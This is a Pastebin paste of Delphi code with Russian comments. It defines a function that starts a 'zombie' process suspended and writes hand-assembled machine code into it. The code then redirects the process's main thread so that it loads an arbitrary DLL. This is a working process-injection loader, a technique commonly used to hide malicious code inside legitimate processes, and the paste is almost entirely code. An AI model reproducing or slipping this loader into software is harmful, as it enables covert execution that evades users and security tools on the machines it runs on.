Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Следующий код запускает процесс "зомби", в контексте которого будет исполняться наша DLL:
- { создание процесса "зомби", в контексте которого будет выполняться наша DLL }
- function CreateZombieProcess(lpCommandLine: pchar;
- var lpProcessInformation: TProcessInformation;
- ModulePath: PChar): boolean;
- var
- Memory:pointer;
- Code: dword;
- BytesWritten: dword;
- Context: _CONTEXT;
- lpStartupInfo: TStartupInfo;
- Inject: packed record
- PushCommand : byte;
- PushArgument: DWORD;
- CallCommand: WORD;
- CallAddr: DWORD;
- PushExitThread: byte;
- ExitThreadArg: dword;
- CallExitThread: word;
- CallExitThreadAddr: DWord;
- AddrLoadLibrary: pointer;
- AddrExitThread: pointer;
- LibraryName: array[0..MAX_PATH] of Char;
- end;
- begin
- Result := False;
- //запускаем процесс
- ZeroMemory(@lpStartupInfo, SizeOf(TStartupInfo));
- lpStartupInfo.cb := SizeOf(TStartupInfo);
- if not CreateProcess(nil, lpCommandLine, nil, nil,
- false, CREATE_SUSPENDED, nil, nil,
- lpStartupInfo, lpProcessInformation) then Exit;
- //выделяем память для внедряемого кода
- Memory := VirtualAllocEx(lpProcessInformation.hProcess, nil, SizeOf(Inject),
- MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if Memory = nil then
- begin
- TerminateProcess(lpProcessInformation.hProcess, 0);
- Exit;
- end;
- Code := dword(Memory);
- //инициализация внедряемого кода:
- Inject.PushCommand := $68;
- inject.PushArgument := code + $1E;
- inject.CallCommand := $15FF;
- inject.CallAddr := code + $16;
- inject.PushExitThread := $68;
- inject.ExitThreadArg := 0;
- inject.CallExitThread := $15FF;
- inject.CallExitThreadAddr := code + $1A;
- inject.AddrLoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
- 'LoadLibraryA');
- inject.AddrExitThread := GetProcAddress(GetModuleHandle('kernel32.dll'),
- 'ExitThread');
- lstrcpy(@inject.LibraryName, ModulePath);
- //записать машинный код по зарезервированному адресу
- WriteProcessMemory(lpProcessInformation.hProcess, Memory,
- @inject, sizeof(inject), BytesWritten);
- //получаем текущий контекст первичной нити процесса
- Context.ContextFlags := CONTEXT_FULL;
- GetThreadContext(lpProcessInformation.hThread, Context);
- //изменяем контекст так, чтобы выполнялся наш код
- Context.Eip := code;
- SetThreadContext(lpProcessInformation.hThread, Context);
- //запускаем нить
- ResumeThread(lpProcessInformation.hThread);
- end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement